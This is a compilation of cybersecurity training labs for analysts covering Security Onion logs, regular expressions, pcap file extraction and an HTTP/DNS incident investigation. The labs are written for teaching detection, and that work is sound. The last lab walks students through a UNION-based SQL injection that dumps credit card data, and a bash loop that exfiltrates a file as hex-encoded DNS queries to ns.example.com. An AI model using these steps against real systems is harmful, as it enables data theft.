-rw-r--r-- 1 sguil sguil             202 Jul 13 12:02 ossec_agent.log.20170713120201
-rw-r--r-- 1 sguil sguil             202 Jul 14 12:02 ossec_agent.log.20170714120201
-rw-r--r-- 1 sguil sguil             202 Jul 15 12:02 ossec_agent.log.20170715120202
-rw-r--r-- 1 sguil sguil             249 Jul 16 12:02 ossec_agent.log.20170716120201
-rw-r--r-- 1 sguil sguil             202 Jul 17 12:02 ossec_agent.log.20170717120202
-rw-r--r-- 1 sguil sguil             202 Jul 28 12:02 ossec_agent.log.20170728120202
-rw-r--r-- 1 sguil sguil             202 Aug  2 12:02 ossec_agent.log.20170802120201
-rw-r--r-- 1 sguil sguil             202 Aug  3 12:02 ossec_agent.log.20170803120202
-rw-r--r-- 1 sguil sguil             202 Aug  4 12:02 ossec_agent.log.20170804120201
-rw-r--r-- 1 sguil sguil           42002 Aug  4 07:33 pulledpork.log
drwxr-xr-x 2 sguil sguil            4096 Aug 18 13:46 seconion-eth0
drwxr-xr-x 2 sguil sguil            4096 Aug 18 13:47 seconion-eth1
drwxr-xr-x 2 sguil sguil            4096 Aug 18 13:47 seconion-eth2
drwxr-xr-x 2 sguil sguil            4096 Jun 19 23:08 securityonion
-rw-r--r-- 1 sguil sguil            1647 Jun 19 23:09 securityonion-elsa-config.log
-rw-r--r-- 1 sguil sguil         7708106 Aug 18 14:56 sensor-clean.log
-rw-r--r-- 1 sguil sguil            1603 Aug  4 00:00 sensor-newday-argus.log
-rw-r--r-- 1 sguil sguil            1603 Aug  4 00:00 sensor-newday-http-agent.log
-rw-r--r-- 1 sguil sguil            8875 Aug  4 00:00 sensor-newday-pcap.log
-rw-r--r-- 1 sguil sguil           53163 Aug  4 05:01 sguil-db-purge.log
-rw-r--r-- 1 sguil sguil          369738 Aug  4 07:33 sid_changes.log
-rw-r--r-- 1 sguil sguil           22598 Aug  8 01:35 so-bro-cron.log
drwxrwxr-x 2 sguil securityonion    4096 Jun 19 23:09 so-elsa
-rw------- 1 sguil sguil            7535 Jun 19 23:09 sosetup.log
-rw-r--r-- 1 sguil sguil           14046 Jun 19 23:09 sosetup_salt_call.log
-rw-r--r-- 1 sguil sguil           63208 Jun 19 23:09 sphinx_initialization.log
-rw-r--r-- 1 sguil sguil              81 Aug 18 14:55 squert-ip2c-5min.log
-rw-r--r-- 1 sguil sguil            1079 Jul 16 06:26 squert-ip2c.log
-rw-r--r-- 1 sguil sguil          125964 Aug 18 14:54 watchdog.log
analyst@SecOnion:/var/log/nsm$ 
Notice that the directory shown above also contains logs used by secondary tools such as OSSEC, Pulledpork, Sphinx, and Squert.
Take some time to Google these secondary tools and answer the questions below:
For each one of the tools listed above, describe the function, importance, and placement in the security analyst workflow.
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
Reflection
Log normalization is important and depends on the deployed environment.
Popular tools include their own normalization features, but log normalization can also be done manually.
When manually normalizing and preparing log files, double-check scripts to ensure the desired result is achieved. A poorly written normalization script may modify the data, directly impacting the analyst’s work.
[bookmark: _Hlk483492196]Lab – Regular Expression Tutorial
Objectives
In this lab, you will learn how to use regular expressions to search for desired strings of information.
Background / Scenario
A regular expression (regex) is a pattern of symbols that describes data to be matched in a query or other operation. Regular expressions are constructed similarly to arithmetic expressions, by using various operators to combine smaller expressions. There are two major standards of regular expression, POSIX and Perl.
In this lab, you will use an online tutorial to explore regular expressions. You will also describe the information that matches given regular expressions.
Required Resources
CyberOps Workstation VM
Internet connection
Complete the regexone.com tutorial.
Open a web browser and navigate to https://regexone.com/. Regex One is a tutorial that provides you with lessons to learn about regular expression patterns.
After you have finished with the tutorial, record the function of some of the metacharacters that are used in regular expressions.
	Metacharacters
	Description

	$
	

	*
	

	.
	

	[  ]
	

	\.
	

	\d
	

	\D
	

	^
	

	{m}
	

	{n,m}
	

	$
	

	*
	

	abc|123
	


Describe the provided regular expression pattern.
	Regex pattern
	Description

	^83
	

	[A-Z]{2,4}
	

	2015
	

	05:22:2[0-9]
	

	\.com
	

	complete|GET
	

	0{4}
	


Verify your answers.
In this step, you will verify your answers in the previous step using a text file stored in the CyberOps Workstation VM.
Launch and log in to the CyberOps Workstation VM (username: analyst / password: cyberops).
Open a terminal and navigate to the following folder:
[analyst@secOps ~]$ cd lab.support.files/
Use the less command to open the logstash-tutorial.log file.
[analyst@secOps lab.support.files]$ less logstash-tutorial.log
At the bottom of the screen, you will see logstash-tutorial.log: highlighted. This is the cursor at which you will enter the regular expression. Precede the regular expression with a forward slash (/). For example, the first pattern in the above table is ^83. Enter /^83.
[image: ]
The matching text from the log file is highlighted. Use the scroll wheel on the mouse or use the j or k keys on your keyboard to locate the highlighted patterns.
For the next expression, enter /[A-Z]{2,4} at the colon (:) prompt.
Note: The colon is replaced by / as you type the expression.
Enter the rest of the regular expressions from the table in Step 2. Make sure all the expressions are preceded with a forward slash (/). Continue until you have verified your answers. Press q to exit the logstash-tutorial.log file.
Close the terminal and shut down the VM.
Lab – Extract an Executable from a PCAP
Objectives
Part 1: Prepare the Virtual Environment
Part 2: Analyze Pre-Captured Logs and Traffic Captures
Background / Scenario
Looking at logs is very important but it is also important to understand how network transactions happen at the packet level.
In this lab, you will analyze the traffic in a previously captured pcap file and extract an executable from the file.
1. Required Resources
1. CyberOps Workstation VM
1. Internet connection
Part 2: Prepare the Virtual Environment
a. Launch Oracle VirtualBox. Right-click CyberOps Workstion > Settings > Network. Besides Attached To, select Bridged Adapter, if necessary, and click OK.
b. Log in to the CyberOps Workstation VM (username: analyst / password: cyberops), open a terminal, and run the configure_as_dhcp.sh script.
[analyst@secOps ~]$ sudo ./lab.support.files/scripts/configure_as_dhcp.sh
[sudo] password for analyst:
[analyst@secOps ~]$
Analyze Pre-Captured Logs and Traffic Captures
In Part 2, you will work with the nimda.download.pcap file. Captured in a previous lab, nimda.download.pcap contains the packets related to the download of the Nimda malware. Your version of the file, if you created it in the previous lab and did not reimport your CyberOps Workstation VM, is stored in the /home/analyst directory. However, a copy of that file is also stored in the CyberOps Workstation VM, under the /home/analyst/lab.support.files/pcaps directory so that you can complete this lab regardless of whether you completed the previous lab or not. For consistency of out, the lab will use the stored version in the pcaps directory.
While tcpdump can be used to analyze captured files, Wireshark’s graphical interface makes the task much easier. It is also important to note that tcpdump and Wireshark share the same file format for packet captures; therefore, PCAP files created by one tool can be opened by the other.
c. Change directory to the lab.support.files/pcaps folder, and get a listing of files using the ls –l command.
[analyst@secOps ~]$ cd lab.support.files/pcaps
[analyst@secOps pcaps]$ ls -l
total 7460
-rw-r--r-- 1 analyst analyst 3510551 Aug  7 15:25 lab_prep.pcap
-rw-r--r-- 1 analyst analyst  371462 Jun 22 10:47 nimda.download.pcap
-rw-r--r-- 1 analyst analyst 3750153 May 25 11:10 wannacry_download_pcap.pcap
[analyst@secOps pcaps]$
d. Issue the command below to open the nimda.download.pcap file in Wireshark. 
[analyst@secOps pcaps]$ wireshark-gtk nimda.download.pcap
e. The nimda.download.pcap file contains the packet capture related to the malware download performed in a previous lab. The pcap contains all the packets sent and received while tcpdump was running. Select the fourth packet in the capture and expand the Hypertext Transfer Protocol to display as shown below.
[image: ]
f. Packets one through three are the TCP handshake. The fourth packet shows the request for the malware file. Confirming what was already known, the request was done over HTTP, sent as a GET request.
g. Because HTTP runs over TCP, it is possible to use Wireshark’s Follow TCP Stream feature to rebuild the TCP transaction. Select the first TCP packet in the capture, a SYN packet. Right-click it and choose Follow TCP Stream.
[image: ]
h. Wireshark displays another window containing the details for the entire selected TCP flow.
[image: ]
What are all those symbols shown in the Follow TCP Stream window? Are they connection noise? Data? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
There are a few readable words spread among the symbols. Why are they there?
____________________________________________________________________________________
____________________________________________________________________________________
Challenge Question: Despite the W32.Nimda.Amm.exe name, this executable is not the famous worm. For security reasons, this is another executable file that was renamed as W32.Nimda.Amm.exe. Using the word fragments displayed by Wireshark’s Follow TCP Stream window, can you tell what executable this really is?
____________________________________________________________________________________
____________________________________________________________________________________
i. Click Close in the Follow TCP Stream window to return to the Wireshark nimda.download.pcap file.
Part 3: Extract Downloaded Files From PCAPS
Because capture files contain all packets related to traffic, a PCAP of a download can be used to retrieve a previously downloaded file. Follow the steps below to use Wireshark to retrieve the Nimda malware.
a. In that fourth packet in the nimda.download.pcap file, notice that the HTTP GET request was generated from 209.165.200.235 to 209.165.202.133. The Info column also shows this is in fact the GET request for the file.
[image: ]
b. With the GET request packet selected, navigate to File > Export Objects > HTTP, from Wireshark’s menu.
[image: ]
c. Wireshark will display all HTTP objects present in the TCP flow that contains the GET request. In this case, only the W32.Nimda.Amm.exe file is present in the capture. It will take a few seconds before the file is displayed.
[image: ]
Why is W32.Nimda.Amm.exe the only file in the capture?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
d. In the HTTP object list window, select the W32.Nimda.Amm.exe file and click Save As at the bottom of the screen.
e. Click the left arrow until you see the Home button. Click Home and then click the analyst folder (not the analyst tab). Save the file there.
f. Return to your terminal window and ensure the file was saved. Change directory to the /home/analyst folder and list the files in the folder using the ls -l command.
[analyst@secOps pcaps]$ cd /home/analyst
[analyst@secOps ~]$ ls –l
total 364
drwxr-xr-x 2 analyst analyst   4096 Sep 26  2014 Desktop
drwx------ 3 analyst analyst   4096 May 25 11:16 Downloads
drwxr-xr-x 2 analyst analyst   4096 May 22 08:39 extra
drwxr-xr-x 8 analyst analyst   4096 Jun 22 11:38 lab.support.files
drwxr-xr-x 2 analyst analyst   4096 Mar  3 15:56 second_drive
-rw-r--r-- 1 analyst analyst 345088 Jun 22 15:12 W32.Nimda.Amm.exe
[analyst@secOps ~]$ 
Was the file saved? ____________________________________
g. The file command gives information on the file type. Use the file command to learn a little more about the malware, as show below:
[analyst@secOps ~]$ file W32.Nimda.Amm.exe
W32.Nimda.Amm.exe: PE32+ executable (console) x86-64, for MS Windows
[analyst@secOps ~]$
As seen above, W32.Nimda.Amm.exe is indeed a Windows executable file.
In the malware analysis process, what would be a probable next step for a security analyst?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
[bookmark: _Hlk485105065]Lab – Interpret HTTP and DNS Data to Isolate Threat Actor 
Objectives
In this lab, you will review logs during an exploitation of documented HTTP and DNS vulnerabilities.
Part 1: Prepare the Virtual Environment
Part 2: Investigate an SQL Injection Attack
Part 3: Analyzing an Data Exfiltration
Background / Scenario
[bookmark: _Hlk499117716]MySQL is a relational database management system (RDBMS) that uses the structured query language (SQL) to add, access, and manage content in a database. MySQL is a popular RDBMS used by numerous web applications. Unfortunately, a web hacking technique called SQL injection can be used by an attacker to execute malicious SQL statements in an attempt to control a web application's database server.
Domain name servers (DNS) are directories of domain names, and they translate the domain names into IP addresses. This service can be used to exfiltrate data. 
In this lab, you will investigate a possible SQL injection to access the SQL database on the server. You will also review the logs to investigate a possible data exfiltration and the method of exfiltration.
Required Resources
Host computer with at least 3 GB of RAM and 10 GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
One virtual machine: Alternate Security Onion VM
Prepare the Virtual Environment
Download the Alternate Security Onion virtual machine.
Launch Oracle VirtualBox. Import the Alternate Security Onion VM.
Launch and log into Alternate Security Onion VM. Log in with the user analyst and password cyberops.
In the Alternate Security Onion VM, right-click the Desktop > Open Terminal Here. Enter the sudo service nsm status command to verify that all the servers and sensors are ready. This process could take a few moments. If some services report FAIL, repeat the command as necessary until all the statuses are OK before moving on to the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
  * sguil server                                                       [  OK  ]
Status: HIDS
  * ossec_agent (sguil)                                                [  OK  ]
Status: Bro
Name         Type    Host             Status    Pid    Started
manager      manager localhost        running   5577   26 Jun  10:04:27
proxy        proxy   localhost        running   5772   26 Jun  10:04:29
seconion-eth0-1 worker  localhost        running   6245   26 Jun  10:04:33
seconion-eth1-1 worker  localhost        running   6247   26 Jun  10:04:33
seconion-eth2-1 worker  localhost        running   6246   26 Jun  10:04:33
Status: seconion-eth0
  * netsniff-ng (full packet data)                                     [  OK  ]
  * pcap_agent (sguil)                                                 [  OK  ]
  * snort_agent-1 (sguil)                                              [  OK  ]
  * snort-1 (alert data)                                               [  OK  ]
  * barnyard2-1 (spooler, unified2 format)                             [  OK  ]
<output omitted>
Investigate an SQL Injection Attack
As you reviewed the Sguil log, you noticed that there is a possible SQL injection attack. You will investigate the events to determine the extent of the possible exploitation.
Review the Sguil logs.
Navigate to the Alternate Security Onion VM. Double-click the Sguil icon on the Desktop. Enter the username analyst and password cyberops when prompted.
Click Select All to monitor all the networks. Click Start SGUIL to continue.
In the bottom-right window of the Sguil console, click Show Packet Data and Show Rule to view the details of a selected alert.
[image: ]
Search for alerts related to ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT. Select the alerts that start with 5. These alerts are related to seconion-eth1-1, and they are probably the most recent alerts. Select the alert with ID 5.5836. Because Sguil displays real time events, the Date/Time in the screenshot is for reference only. You should note the Date/Time of the selected alert for analysis in ELSA.
[image: ]
Right-click the number under the CNT heading for the selected alert to view all the related alerts. Select View Correlated Events. 
[image: ]
Right-click an Alert ID in the results. Select Transcript to view the details for this alert.
[image: ]
In this window, you can see that the GET statement using the UNION operator was used to access the credit card information. If you do not see this information, try right-clicking another of the correlated events.
[image: ]
What information can you gather from the Transcript window?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
You can also determine the information retrieved by the attacker. Click Search and enter username in the Find: field. Use the Find button to locate the information that was captured. The same credit card information may be displayed differently than the figure below.
 [image: ]
Compare the credit card information from the transcript window and the content extracted by the SQL injection attack. What is your conclusion?
____________________________________________________________________________________
Close the windows when finished.
Return to the Sguil window, right-click the same Alert ID that contains the exfiltrated credit card information and select Wireshark.
[image: ]
Right-click a TCP packet and select Follow TCP Stream.
[image: ]
The GET request and the exfiltrated data are displayed in the TCP stream window. Your output may be different than the figure below, but it should contain the same credit card information as your transcript above.
[image: ] [image: ]
At this time, you could save the Wireshark data by clicking Save As in the TCP stream window. Alternatively, you can also save the Wireshark pcap file. You can also document the source and destination IP addresses and ports, time of incident, and protocol used for further analysis by a Tier 2 analyst.
Close or minimize Wireshark and Squil.
Review the ELSA logs.
The ELSA logs can also provide similar information.
While in the Security Onion VM, double-click to start ELSA from the Desktop. If you receive the following "Your connection is not private" message, click ADVANCED to continue.
[image: ]
Click Proceed to localhost (unsafe) to continue to the localhost.
Log in with the username analyst and password cyberops. You will now perform a query looking for HTTP SQL injection of the Sguil alert.
Click in the From to open a calendar. Select the date that is a day before the timestamp in selected alert ID in Sguil. By default, ELSA only shows the events for the last 48 hours.
[image: ]
In the left panel, select HTTP > Top Potential SQL Injection. Select 209.165.200.235. 
[image: ]
This opens detailed information of the alert. Click Info on the first entry. This information is related the successful SQL injection. Notice the union query that was used during the attack.
[image: ]
Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.
[image: ]
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file. You can also search for the username information. Type Ctrl + F to open Find… dialog box. Enter username in the field. You should be able to locate the credit card information that were displayed during the SQL injection exploit.
[image: ]
Analyzing an Data Exfiltration
As you review the ELSA logs, you noticed some strange DNS requests. Your goal is to determine if any data was exfiltration during the exploitation.
Log in to the Alternate Security Onion VM, start ELSA from the Desktop. If you receive the message "Your connection is not private", click ADVANCED to continue. Click Proceed to localhost (unsafe) to continue to the localhost. Enter username analyst and password cyberops when prompted.
If necessary, click in the From field. Select the date that is a day before the timestamp in selected alert ID in Sguil. By default, ELSA only shows the events for the last 48 hours.
From the ELSA queries on the left side bar, click DNS > Bottom to the left of Requests. This returns records for all the DNS requests sorted so that the least frequent appear first. Scroll down in the results to see a few queries for ns.example.com with a hex string as the first part of the subdomain name. Typically, domain names are not 63-byte hexadecimal expressions. This could signal malicious activity because users probably cannot remember a long subdomain name with random letters and numbers.
[image: ]
Click one of the links and copy the 63-byte string prepended to ns.example.com.
[image: ]
Open a terminal window and use the echo and xxd commands to revert the hex string. The -n option prevents the output of the trailing newline. 
analyst@SecOnion:~/Desktop$ echo -n "434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053" | xxd -r -p
CONFIDENTIAL DOCUMENT
DO NOT Sanalyst@SecOnion:~/Desktop$
If you continue to revert the hex strings, what is the result?
____________________________________________________________________________________
____________________________________________________________________________________


Lab – Interpret HTTP and DNS Data to Isolate Threat Actor
Topology
[image: ]
Objectives
In this lab, you will review logs during an exploitation of documented HTTP and DNS vulnerabilities.
Part 1: Prepare the Virtual Environment
Part 2: Investigate an SQL Injection Attack
Part 3: Data Exfiltration Using DNS
Background / Scenario
MySQL is a popular database used by numerous web applications. Unfortunately, SQL injection is a common web hacking technique. It is a code injection technique where an attacker executes malicious SQL statements to control a web application's database server.
Domain name servers (DNS) are directories of domain names, and they translate the domain names into IP addresses. This service can be used to exfiltrate data. 
In this lab, you will perform an SQL injection to access the SQL database on the server. You will also use the DNS service to facilitate data exfiltration.
Required Resources
Host computer with at least 8GB of RAM and 40GB of free disk space
Latest version of Oracle VirtualBox
Internet connection
Four virtual machines:
	Virtual Machine
	RAM
	Disk Space
	Username
	Password

	CyberOps Workstation VM
	1GB
	7GB
	analyst
	cyberops

	Kali
	1GB
	10GB
	root
	cyberops

	Metasploitable
	512KB
	8GB
	msfadmin
	msfadmin

	Security Onion
	3 GB
	10GB
	analyst
	cyberops


Prepare the Virtual Environment
Launch Oracle VirtualBox.
In the CyberOps Workstation window, verify that CyberOps Workstation has the correct network settings. If necessary, select Machine > Settings > Network. Under Attached To, select Internal Network. In the Name dropdown menu, select inside, then click OK.
[image: ]
Start the CyberOps Workstation, Kali, Metasploitable, and Security Onion virtual machines by selecting each one of them and clicking the Start button. The Start button is located in VirtualBox’s Toolbar.
Log into the CyberOps Workstation virtual machine, open a terminal and configure the network by executing the configure_as_static.sh script.
Because the script requires super-user privileges, provide the password for the user analyst.
analyst@secOps ~]$ sudo ./lab.support.files/scripts/configure_as_static.sh 
[sudo] password for analyst: 
Configuring the NIC as:
IP: 192.168.0.11/24
GW: 192.168.0.1

IP Configuration successful.

[analyst@secOps ~]$
Log into the Security Onion VM. Right-click the Desktop > Open Terminal Here. Enter sudo service nsm status command to verify that all the servers and sensors are ready. This process could take a few moments. Repeat the command as necessary until all the status for all the servers and sensors are OK before moving onto the next part.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
  * sguil server                                                       [  OK  ]
Status: HIDS
  * ossec_agent (sguil)                                                [  OK  ]
Status: Bro
Name         Type    Host             Status    Pid    Started
manager      manager localhost        running   5577   26 Jun  10:04:27
proxy        proxy   localhost        running   5772   26 Jun  10:04:29
seconion-eth0-1 worker  localhost        running   6245   26 Jun  10:04:33
seconion-eth1-1 worker  localhost        running   6247   26 Jun  10:04:33
seconion-eth2-1 worker  localhost        running   6246   26 Jun  10:04:33
Status: seconion-eth0
  * netsniff-ng (full packet data)                                     [  OK  ]
  * pcap_agent (sguil)                                                 [  OK  ]
  * snort_agent-1 (sguil)                                              [  OK  ]
  * snort-1 (alert data)                                               [  OK  ]
  * barnyard2-1 (spooler, unified2 format)                             [  OK  ]
<output omitted>
Investigate an SQL Injection Attack
In this part, you will perform an SQL injection to access credit card information that is stored on web server. The Metasploitable VM is functioning as a web server configured with a MySQL database.
Perform an SQL injection.
Log into Kali VM using the username root and password cyberops.
In the Kali VM, click the Firefox ESR icon ([image: ]) to open a new web browser.
Navigate to 209.165.200.235. Click Mutillidae to access a vulnerable web site.
[image: ]
Click OWASP Top 10 > A1 – Injection > SQLi – Extract Data > User Info.
[image: ]
Right-click in the Name field and select Inspect Element (Q).
[image: ]
In the Username field, double-click the 20 and change it to 100 so you can view the longer string as you enter the query into Name field. Close the Inspect Element when finished.
[image: ]
Enter ' union select ccid,ccnumber,ccv,expiration,null from credit_cards --  in the Name field. Click View Account Details to extract the credit card information from the credit_cards table in owasp10 mysql database.
Note: There is a single quote ( ' ), followed by a space at the beginning of the string. There is a space after -- at the end of the string.
[image: ]
Scroll down the page for the results. The result indicates that you have successfully extracted the credit card information from the database by using SQL injection. This information should only be available to authorized users.
[image: ]
Review the Sguil logs.
Navigate to the Security Onion VM. Double-click the Sguil icon on the Desktop. Enter the username analyst and password cyberops when prompted.
Click Select All to monitor all the networks. Click Start SGUIL to continue.
In the Sguil console, in the bottom-right window, click Show Packet Data and Show Rule to view the details of a selected alert.
Search for alerts related to ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT. Select the alerts that start with 7. These alerts are related to seconion-eth2-1, and they are probably the most recent alerts. Because Sguil displays real time events, the Date/Time in the screenshot is for reference only. You should note the Date/Time of the selected alert.
[image: ]
Right-click the number under the CNT heading for the selected alert to view all the related alerts. Select View Correlated Events. 
[image: ]
Right-click an Alert ID in the results. Select Transcript to view the details for this alert.
Note: If you mistyped the user information in the previous step, you should use the last alert in the list.
[image: ]
In this window, you can see that the GET statement using the UNION operator was used to access the credit card information. If you do not see this information, try right-clicking another of the correlated events.
Note: If you entered the injection script more than once because of a typo or some other reason, it may be helpful to sort the Date/Time column and view the most recent alert.
[image: ]
What information can you gather from the Transcript window?
____________________________________________________________________________________
____________________________________________________________________________________
____________________________________________________________________________________
You can also determine the information retrieved by the attacker. Click Search and enter username in the Find: field. Use the Find button to locate the information that was captured. The same credit card information may be displayed differently than the figure below.
Note: If you are unable to locate the stolen credit card information, you may need to view the transcript in another alert. 
[image: ]
Compare the credit card information from the transcript window and the content extracted by the SQL injection attack. What is your conclusion?
____________________________________________________________________________________
Close the windows when finished.
Return to the Sguil window, right-click the same Alert ID that contains the exfiltrated credit card information and select Wireshark.
Right-click on a TCP packet and select Follow TCP Stream.
[image: ]
The GET request and the exfiltrated data are displayed in the TCP stream window. Your output may be different than the figure below, but it should contain the same credit card information as your transcript above.
[image: ] [image: ]
At this time, you could save the Wireshark data by clicking Save As in the TCP stream window. You can also save the Wireshark pcap file. You can also document the source and destination IP addresses and ports, time of incident, and protocol used for further analysis by a Tier 2 analyst.
Close or minimize Wireshark and Squil.
Review the ELSA logs.
The ELSA logs can also provide similar information.
While in the Security Onion VM, start ELSA from the Desktop. If you receive the message "Your connection is not private", click ADVANCED to continue.
[image: ]
Click Proceed to localhost (unsafe) to continue to the localhost.
Log in with the username analyst and password cyberops.
In the left panel, select HTTP > Top Potential SQL Injection. Select 209.165.200.235. 
[image: ]
Click Info on the last entry. This information is related the successful SQL injection. Notice the union query that was used during the attack.
[image: ]
Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.
[image: ]
The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file. You can also search for the username information. Type Ctrl + F to open Find… dialog box. Enter username in the field. You should be able to locate the credit card information that were displayed during the SQL injection exploit.
[image: ]
Data Exfiltration Using DNS
The CyberOps Workstation VM contains a file named confidential.txt in the /home/analyst/lab.support.files directory. An attacker on the Kali VM will use DNS to exfiltrate the file content from the CyberOps Workstation. The attacker has gained access to the CyberOps Workstation and Metasploitable virtual machines. The Metasploitable virtual machine is configured as a DNS server.
Convert a text file to a hexadecimal file.
On the CyberOps Workstation, navigate to /home/analyst/lab.support.files/. Verify that the confidential.txt file is in the directory.
Display the content of the confidential.txt file using the more command.
The xxd command is used to create a hexdump or convert a hexdump back to binary. To transform the content of confidential.txt into 60-byte long hex strings and save it to confidential.hex, use the command xxd -p confidential.txt > confidential.hex.
The option -p is used to format the output in Postscript format and > is to redirect the output to confidential.hex.
Note: Use the xxd man page to learn more about all the available options for the xxd command.
[analyst@secOps lab.support.files]$ xxd -p confidential.txt > confidential.hex
Verify the content of confidential.hex.
[analyst@secOps lab.support.files]$ cat confidential.hex
434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053
484152450a5468697320646f63756d656e7420636f6e7461696e7320696e
666f726d6174696f6e2061626f757420746865206c617374207365637572
697479206272656163682e0a
Verify that CyberOps Workstation has been configured to use the local DNS resolver at 209.165.200.235. Enter cat /etc/resolv.conf at the prompt.
[analyst@secOps lab.support.files]$ cat /etc/resolv.conf
# Generated by resolvconf
nameserver 8.8.4.4
nameserver 209.165.200.235
Prepend the content to DNS query log.
In this step, you will run a Bash shell for loop that will iterate through each line of the confidential.hex file and add each line of the hex string to the name of target domain name server, ns.example.com. A DNS query is performed on each of these new lines and will look like the following when you are done:
434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053.ns.example.com
484152450a5468697320646f63756d656e7420636f6e7461696e7320696e.ns.example.com
666f726d6174696f6e2061626f757420746865206c617374207365637572 ns.example.com
72697479206272656163682e0a ns.example.com
Within the for loop, the cat confidential.hex command is enclosed in the backticks (`) and is executed to display the file content. Each line of hex strings in the confidential.hex file is stored temporarily in the variable line. The content in the variable line is prepended to ns.example.com in the drill command. The drill command is designed to get information out of DNS.
Note: The backtick can most often be found next to the 1 key on the keyboard. It is not the single quote character, which is straight up and down.
The command must be entered exactly as shown below at the command line. This process could take anywhere from several seconds to a few minutes. Wait for the command prompt to reappear.
[analyst@secOps lab.support.files]$ for line in `cat confidential.hex` ; do drill $line.ns.example.com; done
;; ->>HEADER<<- opcode: QUERY, rcode: NXDOMAIN, id: 19375
;; flags: qr aa rd ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 
;; QUESTION SECTION:
;; 434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053.ns.example.com.IN    A


;; ANSWER SECTION:

;; AUTHORITY SECTION:
example.com.    604800  IN      SOA     ns.example. root.example.com. 2 604800 86400 2419200 604800

;; ADDITIONAL SECTION:

;; Query time: 4 msec
;; SERVER: 209.165.200.235
;; WHEN: Wed Jun 28 14:09:24 2017
;; MSG SIZE  rcvd: 144
;; ->>HEADER<<- opcode: QUERY, rcode: NXDOMAIN, id: 36116
;; flags: qr aa rd ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

<some output omitted>
Exfiltrate the DNS query log.
At this point, the attacker on Kali can access /var/lib/bind/query.log and retrieve the data.
Log in to Kali, if necessary, open a Terminal, and SSH in to Metasploitable using the username user and password user. Enter yes to continue connecting to Metasploitable when prompted. The password prompt may take several seconds to a minute to appear.
root@kali:~# ssh user@209.165.200.235
The authenticity of host '209.165.200.235 (209.165.200.235)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '209.165.200.235' (RSA) to the list of known hosts.
user@209.165.200.235's password: 
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
Last login: Wed Aug 30 11:24:13 2017 from 209.165.201.17
user@metasploitable:~$
Use the following egrep command to parse the DNS query log file, /var/lib/bind/query.log.
 The command must be entered exactly as shown below at the command line.
user@metasploitable:~$ egrep -o [0-9a-f]*.ns.example.com /var/lib/bind/query.log | cut -d. -f1 | uniq > secret.hex
The egrep command is the same as grep -E command. This -E option allows the interpretation of extended regular expressions. 
The -o option displays only matching portions. 
The extended regular expression, [0-9a-f]]*.ns.exmaple.com, matches portions of the query.log with zero or more occurrences of lowercase letters and numbers with ns.example.com as part of the end of the string.
The cut command removes a section from each line of the files. The cut -d. -f1 command uses the period (.) as the delimiter to keep only the subdomain and remove the rest of the line with the Fully Qualified Domain Name (FQDN).
The uniq command removes any duplicates.
The pipe (|) takes the output of the command to its left, which becomes the input to the command on the right of the pipe. There are two pipes in the commands.
Finally, the result is redirected to the secret.hex file.
Display the hex file using the cat command.
user@metasploitable:~$ cat secret.hex
434f4e464944454e5449414c20444f43554d454e540a444f204e4f542053
484152450a5468697320646f63756d656e7420636f6e7461696e7320696e
666f726d6174696f6e2061626f757420746865206c617374207365637572
697479206272656163682e0a
The content of the file will be the same as the confidential.hex on CyberOps Workstation.
Exit Metasploitable SSH session.
user@metasploitable:~$ exit
logout
Connection to 209.165.200.235 closed.
Use the secure copy (scp) command to copy the secret.hex file from Metasploitable VM to Kali VM. Enter user as the password when prompted. This could take few minutes.
root@kali:~# scp user@209.165.200.235:/home/user/secret.hex ~/
user@209.165.200.235's password: 
secret.hex                                               100% 3944     3.1MB/s   00:00
Verify that the file has been copied file on the Kali VM.
You will reverse the hex dump to display the content of the exfiltrated file, secret.hex. The xxd command with -r -p options revert the hex dump. The result is redirected to the secret.txt file.
root@kali:~# xxd -r -p secret.hex > secret.txt
Verify that the content of the secret.txt file is the same as the confidential.txt file on CyberOps Workstation VM.
root@kali:~# cat secret.txt 
CONFIDENTIAL DOCUMENT
DO NOT SHARE
This document contains information about the last security breach.
You can now power down the CyberOps Workstation, Metasploitable, and Kali VMs.
Analyze the DNS exfiltration.
In the previous steps, the attacker performed a DNS exfiltration using Linux tools. Now it is your job to extract the content of the exfiltration.
Log in to Security Onion, start ELSA from the Desktop. If you receive the message "Your connection is not private", click ADVANCED to continue. Click Proceed to localhost (unsafe) to continue to the localhost. Enter username analyst and password cyberops when prompted.
